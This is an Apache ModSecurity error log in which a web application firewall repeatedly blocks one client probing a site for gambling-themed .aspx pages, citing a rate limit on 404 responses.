[Sat Apr 11 04:44:17.692714 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:55264] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adlhIWJmwJFFPEgRHfHxbAAAAME"]
[Sat Apr 11 04:44:17.842976 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:55274] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adlhIWJmwJFFPEgRHfHxbgAAANU"]
[Sat Apr 11 04:44:18.085957 2026] [:error] [pid 33171:tid 33200] [client 51.83.238.207:43244] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adlhIroqTMlo30hcVw81lwAAAA4"]
[Sat Apr 11 04:44:20.096175 2026] [:error] [pid 33173:tid 33257] [client 51.83.238.207:43252] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adlhJK8109xRDP2izWihHQAAAIw"]
[Sat Apr 11 04:44:20.276282 2026] [:error] [pid 33171:tid 33209] [client 51.83.238.207:43256] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adlhJLoqTMlo30hcVw81ngAAABc"]
[Sat Apr 11 04:44:20.449106 2026] [:error] [pid 33173:tid 33260] [client 51.83.238.207:43270] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adlhJK8109xRDP2izWihIAAAAI8"]
[Sat Apr 11 04:44:20.564348 2026] [:error] [pid 33171:tid 33186] [client 51.83.238.207:43268] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adlhJLoqTMlo30hcVw81oAAAAAA"]
[Sat Apr 11 04:44:20.975999 2026] [:error] [pid 33288:tid 33302] [client 51.83.238.207:43280] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adlhJGJmwJFFPEgRHfHxfgAAAMw"]
[Sat Apr 11 04:44:22.907891 2026] [:error] [pid 33288:tid 33292] [client 51.83.238.207:43282] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adlhJmJmwJFFPEgRHfHxkAAAAMI"]
[Sat Apr 11 04:44:23.136624 2026] [:error] [pid 33288:tid 33307] [client 51.83.238.207:43296] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adlhJ2JmwJFFPEgRHfHxkQAAANE"]
[Sat Apr 11 04:44:23.672871 2026] [:error] [pid 33172:tid 33238] [client 51.83.238.207:43306] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adlhJzn2G0IJw5EZY9kPLgAAAFQ"]
[Sat Apr 11 04:44:24.221842 2026] [:error] [pid 33171:tid 33203] [client 51.83.238.207:43312] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adlhKLoqTMlo30hcVw81pwAAABE"]
[Sat Apr 11 04:44:25.588955 2026] [:error] [pid 33172:tid 33222] [client 51.83.238.207:43322] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adlhKTn2G0IJw5EZY9kPNQAAAEQ"]
[Sat Apr 11 04:44:26.378588 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:43338] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adlhKq8109xRDP2izWihRQAAAIo"]
[Sat Apr 11 04:44:26.438039 2026] [:error] [pid 33173:tid 33261] [client 51.83.238.207:43342] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adlhKq8109xRDP2izWihRgAAAJA"]
[Sat Apr 11 04:44:28.007763 2026] [:error] [pid 33172:tid 33228] [client 51.83.238.207:57228] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adlhLDn2G0IJw5EZY9kPRQAAAEo"]
[Sat Apr 11 04:44:28.099880 2026] [:error] [pid 33288:tid 33292] [client 51.83.238.207:57238] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adlhLGJmwJFFPEgRHfHxswAAAMI"]
[Sat Apr 11 04:44:29.789169 2026] [:error] [pid 33288:tid 33294] [client 51.83.238.207:57260] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adlhLWJmwJFFPEgRHfHxwAAAAMQ"]
[Sat Apr 11 04:44:29.914361 2026] [:error] [pid 33288:tid 33310] [client 51.83.238.207:57248] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adlhLWJmwJFFPEgRHfHxwQAAANQ"]
[Sat Apr 11 04:44:30.770967 2026] [:error] [pid 33288:tid 33306] [client 51.83.238.207:57272] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adlhLmJmwJFFPEgRHfHxzgAAANA"]
[Sat Apr 11 04:44:30.923669 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:57286] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adlhLmJmwJFFPEgRHfHxzwAAAMA"]
[Sat Apr 11 04:44:32.725549 2026] [:error] [pid 33288:tid 33304] [client 51.83.238.207:57292] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adlhMGJmwJFFPEgRHfHx4gAAAM4"]
[Sat Apr 11 04:44:32.830264 2026] [:error] [pid 33288:tid 33301] [client 51.83.238.207:57288] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adlhMGJmwJFFPEgRHfHx5QAAAMs"]
[Sat Apr 11 04:44:33.986284 2026] [:error] [pid 33288:tid 33312] [client 51.83.238.207:57304] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adlhMWJmwJFFPEgRHfHx7QAAANY"]
[Sat Apr 11 04:44:34.239751 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:57318] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adlhMmJmwJFFPEgRHfHx8AAAAM0"]
[Sat Apr 11 04:44:35.281445 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:57326] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adlhM68109xRDP2izWihcgAAAI4"]
[Sat Apr 11 04:44:35.580495 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:57328] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adlhM68109xRDP2izWihdAAAAJY"]
[Sat Apr 11 04:44:36.652477 2026] [:error] [pid 33171:tid 33205] [client 51.83.238.207:57344] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adlhNLoqTMlo30hcVw81vgAAABM"]
[Sat Apr 11 04:44:37.287443 2026] [:error] [pid 33172:tid 33240] [client 51.83.238.207:57358] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adlhNTn2G0IJw5EZY9kPXwAAAFY"]
[Sat Apr 11 04:44:37.995041 2026] [:error] [pid 33173:tid 33257] [client 51.83.238.207:57366] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adlhNa8109xRDP2izWihggAAAIw"]
[Sat Apr 11 04:44:38.485413 2026] [:error] [pid 33173:tid 33264] [client 51.83.238.207:40036] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adlhNq8109xRDP2izWihhgAAAJM"]
[Sat Apr 11 04:44:39.622828 2026] [:error] [pid 33171:tid 33195] [client 51.83.238.207:40038] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adlhN7oqTMlo30hcVw81zgAAAAk"]
[Sat Apr 11 04:44:39.960298 2026] [:error] [pid 33172:tid 33223] [client 51.83.238.207:40048] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adlhNzn2G0IJw5EZY9kPZAAAAEU"]
[Sat Apr 11 04:44:40.989951 2026] [:error] [pid 33171:tid 33190] [client 51.83.238.207:40060] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adlhOLoqTMlo30hcVw810gAAAAQ"]
[Sat Apr 11 04:44:41.450888 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:40070] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adlhOWJmwJFFPEgRHfHx_gAAAMA"]
[Sat Apr 11 04:44:42.132319 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:40074] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adlhOq8109xRDP2izWihjwAAAJY"]
[Sat Apr 11 04:44:42.602799 2026] [:error] [pid 33171:tid 33209] [client 51.83.238.207:40088] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adlhOroqTMlo30hcVw811QAAABc"]
[Sat Apr 11 04:44:44.653006 2026] [:error] [pid 33173:tid 33247] [client 51.83.238.207:40104] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adlhPK8109xRDP2izWihoQAAAII"]
[Sat Apr 11 04:44:44.669284 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:40116] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adlhPK8109xRDP2izWihogAAAJY"]
[Sat Apr 11 04:44:45.244526 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:40132] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adlhPa8109xRDP2izWihpwAAAI4"]
[Sat Apr 11 04:44:45.274391 2026] [:error] [pid 33173:tid 33251] [client 51.83.238.207:40140] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adlhPa8109xRDP2izWihqAAAAIY"]
[Sat Apr 11 04:44:47.455099 2026] [:error] [pid 33173:tid 33247] [client 51.83.238.207:40162] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adlhP68109xRDP2izWihtgAAAII"]
[Sat Apr 11 04:44:47.580879 2026] [:error] [pid 33173:tid 33252] [client 51.83.238.207:40154] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adlhP68109xRDP2izWihtwAAAIc"]
[Sat Apr 11 04:44:47.886249 2026] [:error] [pid 33173:tid 33261] [client 51.83.238.207:40172] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adlhP68109xRDP2izWihuQAAAJA"]
[Sat Apr 11 04:44:48.004795 2026] [:error] [pid 33288:tid 33293] [client 51.83.238.207:59232] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adlhQGJmwJFFPEgRHfHyEwAAAMM"]
[Sat Apr 11 04:44:50.003602 2026] [:error] [pid 33172:tid 33240] [client 51.83.238.207:59240] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adlhQjn2G0IJw5EZY9kPhAAAAFY"]
[Sat Apr 11 04:44:50.718206 2026] [:error] [pid 33173:tid 33248] [client 51.83.238.207:59254] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adlhQq8109xRDP2izWihygAAAIM"]
[Sat Apr 11 04:44:50.832096 2026] [:error] [pid 33172:tid 33222] [client 51.83.238.207:59242] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adlhQjn2G0IJw5EZY9kPhQAAAEQ"]
[Sat Apr 11 04:44:50.958764 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:59262] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adlhQq8109xRDP2izWihywAAAI4"]
[Sat Apr 11 04:44:52.845401 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:59278] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adlhRGJmwJFFPEgRHfHyIQAAANU"]
[Sat Apr 11 04:44:53.772990 2026] [:error] [pid 33288:tid 33312] [client 51.83.238.207:59280] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adlhRWJmwJFFPEgRHfHyKgAAANY"]
[Sat Apr 11 04:44:53.780152 2026] [:error] [pid 33172:tid 33240] [client 51.83.238.207:59296] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adlhRTn2G0IJw5EZY9kPjwAAAFY"]
[Sat Apr 11 04:44:53.801451 2026] [:error] [pid 33288:tid 33300] [client 51.83.238.207:59290] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adlhRWJmwJFFPEgRHfHyKwAAAMo"]
[Sat Apr 11 04:44:55.817650 2026] [:error] [pid 33172:tid 33227] [client 51.83.238.207:59312] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adlhRzn2G0IJw5EZY9kPnAAAAEk"]
[Sat Apr 11 04:44:56.374742 2026] [:error] [pid 33288:tid 33296] [client 51.83.238.207:59318] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adlhSGJmwJFFPEgRHfHyPgAAAMY"]
